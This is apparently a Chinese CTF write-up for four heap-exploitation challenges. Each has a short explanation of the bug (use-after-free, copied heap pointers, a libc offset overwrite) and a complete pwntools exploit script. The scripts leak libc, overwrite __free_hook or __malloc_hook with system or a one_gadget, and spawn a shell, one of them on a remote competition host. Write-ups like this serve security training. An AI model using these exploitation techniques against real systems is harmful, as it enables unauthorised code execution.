申请了4个0x8的堆块作为轮子放置了tire_size和tire_pressure,0x68作为车子本体,包含了make、model、year等信息,在最后放置了四个轮子的堆块指针
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
for
( i
=
0
; i <
=
3
;
+
+
i )
{
*
(&v10
+
i)
=
operator new(
8uLL
);
if
( tire_size )
*
*
(&v10
+
i)
=
tire_size;
if
( tire_pressure )
*
(
*
(&v10
+
i)
+
4
)
=
tire_pressure;
}
if
( year )
{
std::string::basic_string(v14, make);
std::string::basic_string(v15, model);
v1
=
operator new(
0x68uLL
);
sub_3644(v1, v14, v15, year, v10, v11, v12, v13);
v7
=
v1;
std::string::~string(v15);
std::string::~string(v14);
sub_3C48(a1, &v7);
std::operator<<<std::char_traits<char>>(&std::cout,
"Car added successfully!\n"
);
}
copy函数中在复制轮子时,也直接复制4个轮子的堆块指针,这导致free原本的车子堆块后新车辆轮子堆块内容不再是tire_size和tire_pressure,而变为tcache上的堆地址
(值得注意的是,在申请unsortbin位置堆块后导致双向链表被破坏,无法再从unsortbin里申请堆块,要控制劫持的tcache位置,满足申请一次需要的4个0x20堆块)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
from
pwn
import
*
import
re
import
os, struct, random, time, sys, signal
import
hashlib
from
hashlib
import
sha256
p
=
process(
"./car_manager"
)
elf
=
ELF(
"./car_manager"
)
libc
=
elf.libc
context.log_level
=
"debug"
context.arch
=
elf.arch
context.terminal
=
[
'tmux'
,
'splitw'
,
'-hp'
,
'64'
]
def
dbg(breakpoint
=
''):
elf_base
=
int
(os.popen(
'pmap {}| awk \x27{{print \x241}}\x27'
.
format
(p.pid)).readlines()[
1
],
16
)
if
elf.pie
else
0
script
=
'b *{:#x}\n'
.
format
(
int
(breakpoint)
+
elf_base)
if
isinstance
(breakpoint,
int
)
else
breakpoint
gdb.attach(p,script)
pause()
s
=
lambda
data :p.send(
str
(data))
sa
=
lambda
text,data :p.sendafter(text,
str
(data))
sl
=
lambda
data :p.sendline(
str
(data))
sla
=
lambda
text,data :p.sendlineafter(text,
str
(data))
r
=
lambda
num
=
4096
:p.recv(num)
ru
=
lambda
text :p.recvuntil(text)
ia
=
lambda
:p.interactive()
hs256
=
lambda
data :sha256(
str
(data).encode()).hexdigest()
l32
=
lambda
:u32(p.recvuntil(
"\xf7"
)[
-
4
:].ljust(
4
,
"\x00"
))
l64
=
lambda
:u64(p.recvuntil(
"\x7f"
)[
-
6
:].ljust(
8
,
"\x00"
))
uu32
=
lambda
:u32(p.recv(
4
).ljust(
4
,
'\x00'
))
uu64
=
lambda
:u64(p.recv(
6
).ljust(
8
,
'\x00'
))
int16
=
lambda
data :
int
(data,
16
)
lg
=
lambda
s :p.success(
'%s -> 0x%x'
%
(s,
eval
(s)))
def
add(make,model,year,size,pressure):
sla(
"Please enter your choice:"
,
1
)
sla(
"Enter the make of the car: "
,make)
sla(
"Enter the model of the car: "
,model)
sla(
"Enter the year of the car: "
,year)
sla(
"Enter the size of tire : "
,size)
sla(
"Enter the pressure of tire : "
,pressure)
def
dele(idx):
sla(
"Please enter your choice:"
,
2
)
sla(
"Enter the index of the car to delete: "
,idx)
def
find(make,model,year):
sla(
"Please enter your choice:"
,
3
)
sla(
"Enter the make of the car to find: "
,make)
sla(
"Enter the model of the car to find: "
,model)
sla(
"Enter the year of the car to find: "
,year)
def
edit(idx, make, model, year, choice, tire_size, tire_pressure, tire_idx
=
None
):
sla(
"Please enter your choice:"
,
4
)
sla(
"Enter the index of the car to modify: "
,idx)
sla(
"Enter the new make of the car: "
,make)
sla(
"Enter the new model of the car: "
,model)
sla(
"Enter the new year of the car: "
,year)
sla(
"Do you want to change all tires?(1/0)"
,choice)
if
choice
=
=
1
:
sla(
"Enter the new size of tire : "
,tire_size)
sla(
"Enter the new pressure of tire : "
,tire_pressure)
else
:
sla(
"Enter the idx of tire : "
,tire_idx)
sla(
"Enter the new size of tire : "
,tire_size)
sla(
"Enter the new pressure of tire : "
,tire_pressure)
def
copy(idx):
sla(
"Please enter your choice:"
,
5
)
sla(
"Enter the index of the car to copy: "
,idx)
def
show():
sla(
"Please enter your choice:"
,
6
)
for
i
in
range
(
0x101
):
add(
'e4l4'
,i,
1999
,
0x10
,
0x10
)
copy(
0
)
copy(
255
)
dele(
0
)
show()
ru(
"Tire Sizes: 0, "
)
heap_base_2
=
int
((ru(
","
)[:
-
1
]),
10
)
lg(
'heap_base_2'
)
ru(
"Tire Pressures: 0, "
)
heap_base_1
=
int
((ru(
","
)[:
-
1
]),
10
)
lg(
'heap_base_1'
)
heap_base
=
(heap_base_1 <<
32
)
+
heap_base_2
-
0x011eb0
lg(
'heap_base'
)
unsort_heap_2
=
(heap_base
+
0x01a0b0
)&
0xffffffff
unsort_heap_1
=
(heap_base
+
0x01a0b0
)>>
32
edit(
256
,
'e4l4'
,
1
,
1999
,
1
,unsort_heap_2
+
0x10
,unsort_heap_1)
add(
'e4l4'
,
259
,
1999
,
0
,
0
)
show()
ru(
"Car 258:"
)
ru(
", "
)
libc_base_2
=
int
((ru(
","
)[:
-
1
]),
10
)
ru(
"Tire Pressures: "
)
ru(
", "
)
libc_base_1
=
int
((ru(
","
)[:
-
1
]),
10
)
libc_base
=
(libc_base_1 <<
32
)
+
libc_base_2
-
0x1ecbe0
lg(
"libc_base"
)
free_hook
=
libc_base
+
0x1eee48
system
=
libc_base
+
0x52290
sh
=
0x68732f6e69622f
dele(
257
)
show()
edit(
254
,
'e4l4'
,
1
,
1999
,
0
,free_hook&
0xffffffff
,free_hook>>
32
,
1
)
edit(
254
,
'e4l4'
,
1
,
1999
,
0
,sh&
0xffffffff
,sh>>
32
,
0
)
add(
'e4l4'
,
'e4l4'
,
1999
,system&
0xffffffff
,system>>
32
)
dele(
254
)
ia()
这道题漏洞挺多,关键漏洞点在于3号功能在第一次使用时,可以将一个ptr堆块地址放进buf,然后可以进入一个执行分支,输入yes可以在buf附近的位置写入0,这里可以实现任意libc地址写0,但似乎用不上。最后会执行一个对buf的0x10的写入,由于第二次开始不用再输入idx就能直接对buf进行修改,如果buf的堆块被free,就达到了一个UAF的效果
放置idx过大,所以利用UAF劫持申请到tcache_struct,修改tcache堆块个数,从而将堆块放入unsortbin泄露libc地址,同样的办法再劫持tcache的fd申请free_hook
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
from
pwn
import
*
import
re
import
os, struct, random, time, sys, signal
import
hashlib
from
hashlib
import
sha256
p
=
process(
"./pwn"
)
elf
=
ELF(
"./pwn"
)
libc
=
elf.libc
context.log_level
=
"debug"
context.arch
=
elf.arch
context.terminal
=
[
'tmux'
,
'splitw'
,
'-hp'
,
'64'
]
def
dbg(breakpoint
=
''):
elf_base
=
int
(os.popen(
'pmap {}| awk \x27{{print \x241}}\x27'
.
format
(p.pid)).readlines()[
1
],
16
)
if
elf.pie
else
0
script
=
'b *{:#x}\n'
.
format
(
int
(breakpoint)
+
elf_base)
if
isinstance
(breakpoint,
int
)
else
breakpoint
gdb.attach(p,script)
pause()
s
=
lambda
data :p.send(
str
(data))
sa
=
lambda
text,data :p.sendafter(text,
str
(data))
sl
=
lambda
data :p.sendline(
str
(data))
sla
=
lambda
text,data :p.sendlineafter(text,
str
(data))
r
=
lambda
num
=
4096
:p.recv(num)
ru
=
lambda
text :p.recvuntil(text)
ia
=
lambda
:p.interactive()
hs256
=
lambda
data :sha256(
str
(data).encode()).hexdigest()
l32
=
lambda
:u32(p.recvuntil(
"\xf7"
)[
-
4
:].ljust(
4
,
"\x00"
))
l64
=
lambda
:u64(p.recvuntil(
"\x7f"
)[
-
6
:].ljust(
8
,
"\x00"
))
uu32
=
lambda
:u32(p.recv(
4
).ljust(
4
,
'\x00'
))
uu64
=
lambda
:u64(p.recv(
6
).ljust(
8
,
'\x00'
))
int16
=
lambda
data :
int
(data,
16
)
lg
=
lambda
s :p.success(
'%s -> 0x%x'
%
(s,
eval
(s)))
def
add(con):
sla(
">"
,
1
)
p.sendafter(
"input some"
,con)
def
edit(idx,con):
sla(
">"
,
2
)
sla(
"idx:"
,idx)
sla(
"Would you like to make final edits?"
,
1
)
p.sendafter(
"input your content"
,con)
def
show(idx):
sla(
">"
,
2
)
sla(
"idx:"
,idx)
sla(
"Would you like to make final edits?"
,
2
)
buf
=
0x4060
ptr
=
0x4088
sla(
"Let us get to know each other."
,
'e4l4'
)
add(
'a'
)
add(
'a'
)
add(
'a'
)
show(
2
)
show(
0
)
show(
1
)
add(
'a'
)
add(
'a'
)
sla(
">"
,
3
)
sla(
"idx:"
,
3
)
sa(
"do you want crazy"
,
'f\n'
)
sa(
"Go ahead and doodle for your artistic inspiration."
,
'a'
)
show(
3
)
ru(
"Please enjoy your masterpiece.\n"
)
heap_base
=
uu64()
lg(
"heap_base"
)
sla(
">"
,
3
)
sa(
"do you want crazy"
,
'f\n'
)
sa(
"Go ahead and doodle for your artistic inspiration."
,p64(heap_base
-
0x261
+
0x10
))
add(
'a'
)
add(
'\x00'
*
0xe
+
'\x07\x00'
)
show(
5
)
show(
4
)
edit(
6
,
'\x00'
*
0x10
)
add(
'a'
)
show(
7
)
libc_base
=
l64()
-
0x1ecc61
lg(
'libc_base'
)
free_hook
=
libc_base
+
libc.sym[
"__free_hook"
]
system
=
libc_base
+
libc.sym[
"system"
]
add(
'a'
)
add(
'a'
)
show(
8
)
show(
9
)
sla(
">"
,
3
)
sa(
"do you want crazy"
,
'f\n'
)
sa(
"Go ahead and doodle for your artistic inspiration."
,p64(free_hook))
add(
'/bin/sh\x00'
)
add(p64(system))
show(
10
)
ia()
题目开始将puts的真实地址放在了puts_addr 变量上。由于有效的输出函数无法泄露libc,这里可以控制num来修改puts_addr为system函数的真实地址,也就是puts函数的真实地址+相对偏移=system函数的真实地址,再调用4功能即可实现getshell。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from
pwn
import
*
import
re
import
os, struct, random, time, sys, signal
import
hashlib
from
hashlib
import
sha256
p
=
remote(
"172.16.9.41"
,
"8888"
)
elf
=
ELF(
"./pwn"
)
libc
=
elf.libc
context.log_level
=
"debug"
context.arch
=
elf.arch
context.terminal
=
[
'tmux'
,
'splitw'
,
'-hp'
,
'64'
]
def
dbg(breakpoint
=
''):
elf_base
=
int
(os.popen(
'pmap {}| awk \x27{{print \x241}}\x27'
.
format
(p.pid)).readlines()[
1
],
16
)
if
elf.pie
else
0
script
=
'b *{:#x}\n'
.
format
(
int
(breakpoint)
+
elf_base)
if
isinstance
(breakpoint,
int
)
else
breakpoint
gdb.attach(p,script)
pause()
s
=
lambda
data :p.send(
str
(data))
sa
=
lambda
text,data :p.sendafter(text,
str
(data))
sl
=
lambda
data :p.sendline(
str
(data))
sla
=
lambda
text,data :p.sendlineafter(text,
str
(data))
r
=
lambda
num
=
4096
:p.recv(num)
ru
=
lambda
text :p.recvuntil(text)
ia
=
lambda
:p.interactive()
hs256
=
lambda
data :sha256(
str
(data).encode()).hexdigest()
l32
=
lambda
:u32(p.recvuntil(
"\xf7"
)[
-
4
:].ljust(
4
,
"\x00"
))
l64
=
lambda
:u64(p.recvuntil(
"\x7f"
)[
-
6
:].ljust(
8
,
"\x00"
))
uu32
=
lambda
:u32(p.recv(
4
).ljust(
4
,
'\x00'
))
uu64
=
lambda
:u64(p.recv(
6
).ljust(
8
,
'\x00'
))
int16
=
lambda
data :
int
(data,
16
)
lg
=
lambda
s :p.success(
'%s -> 0x%x'
%
(s,
eval
(s)))
sla(
"what is your name"
,
'/bin/sh'
)
def
add(idx,con):
sla(
"what do you want to do"
,
1
)
sla(
"what do you want to choose"
,idx)
sla(
"some add\n"
,con)
def
clean(idx,con):
sla(
"what do you want to do"
,
2
)
sla(
"what do you want to choose"
,idx)
sla(
"some add\n"
,con)
def
xor(idx,con):
sla(
"what do you want to do"
,
3
)
sla(
"what do you want to choose"
,idx)
sla(
"some add\n"
,con)
clean(
-
2
,
0x032190
)
sla(
"what do you want to do"
,
4
)
ia()
题目一共能申请三种大小的堆块,分别存放在free/ptr/buf中(这里的free覆盖并不能达到执行函数的目的,因为free_got已经存在真实函数地址),通过切割unsortbin堆块可以获得libc地址
dele功能0/1/2分别指代buf ptr free,难点在于free(1)即free ptr时,会导致ptr_size被置为0,没有办法使用show功能,所以要注意泄露地址之前不能free(1)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
from
pwn
import
*
import
re
import
os, struct, random, time, sys, signal
import
hashlib
from
hashlib
import
sha256
p
=
process(
"./pwn"
)
elf
=
ELF(
"./pwn"
)
libc
=
elf.libc
context.log_level
=
"debug"
context.arch
=
elf.arch
context.terminal
=
[
'tmux'
,
'splitw'
,
'-hp'
,
'64'
]
def
dbg(breakpoint
=
''):
elf_base
=
int
(os.popen(
'pmap {}| awk \x27{{print \x241}}\x27'
.
format
(p.pid)).readlines()[
1
],
16
)
if
elf.pie
else
0
script
=
'b *{:#x}\n'
.
format
(
int
(breakpoint)
+
elf_base)
if
isinstance
(breakpoint,
int
)
else
breakpoint
gdb.attach(p,script)
pause()
s
=
lambda
data :p.send(
str
(data))
sa
=
lambda
text,data :p.sendafter(text,
str
(data))
sl
=
lambda
data :p.sendline(
str
(data))
sla
=
lambda
text,data :p.sendlineafter(text,
str
(data))
r
=
lambda
num
=
4096
:p.recv(num)
ru
=
lambda
text :p.recvuntil(text)
ia
=
lambda
:p.interactive()
hs256
=
lambda
data :sha256(
str
(data).encode()).hexdigest()
l32
=
lambda
:u32(p.recvuntil(
"\xf7"
)[
-
4
:].ljust(
4
,
"\x00"
))
l64
=
lambda
:u64(p.recvuntil(
"\x7f"
)[
-
6
:].ljust(
8
,
"\x00"
))
uu32
=
lambda
:u32(p.recv(
4
).ljust(
4
,
'\x00'
))
uu64
=
lambda
:u64(p.recv(
6
).ljust(
8
,
'\x00'
))
int16
=
lambda
data :
int
(data,
16
)
lg
=
lambda
s :p.success(
'%s -> 0x%x'
%
(s,
eval
(s)))
def
add(size,con):
sla(
"input:"
,
1
)
sla(
"please enter size of malloc :"
,size)
p.sendafter(
"please enter contents of your heap:"
,con)
def
edit(con):
sla(
"input:"
,
4
)
sla(
"please enter what you want to edit:"
,con)
def
show():
sla(
"input:"
,
2
)
def
dele(idx):
sla(
"input:"
,
3
)
sla(
"please enter which heap you want to delete:"
,idx)
def
malloc_s():
sla(
"input:"
,
5
)
buf
=
0x6020C0
puts
=
elf.plt[
'puts'
]
add(
0x300
,p64(puts))
add(
0x38
,
'a'
)
dele(
2
)
add(
0x100
,
'a'
)
show()
libc_base
=
l64()
-
0x3c4e61
lg(
'libc_base'
)
free_hook
=
libc_base
+
0x3c67a8
malloc_hook
=
libc_base
+
libc.sym[
"__malloc_hook"
]
lg(
'free_hook'
)
one
=
libc_base
+
0x4527a
dele(
1
)
add(
0x68
,
'a'
)
dele(
2
)
edit(p64(malloc_hook
-
0x23
))
add(
0x60
,
'a'
)
add(
0x60
,
'a'
*
0x13
+
p64(one))
malloc_s()
ia()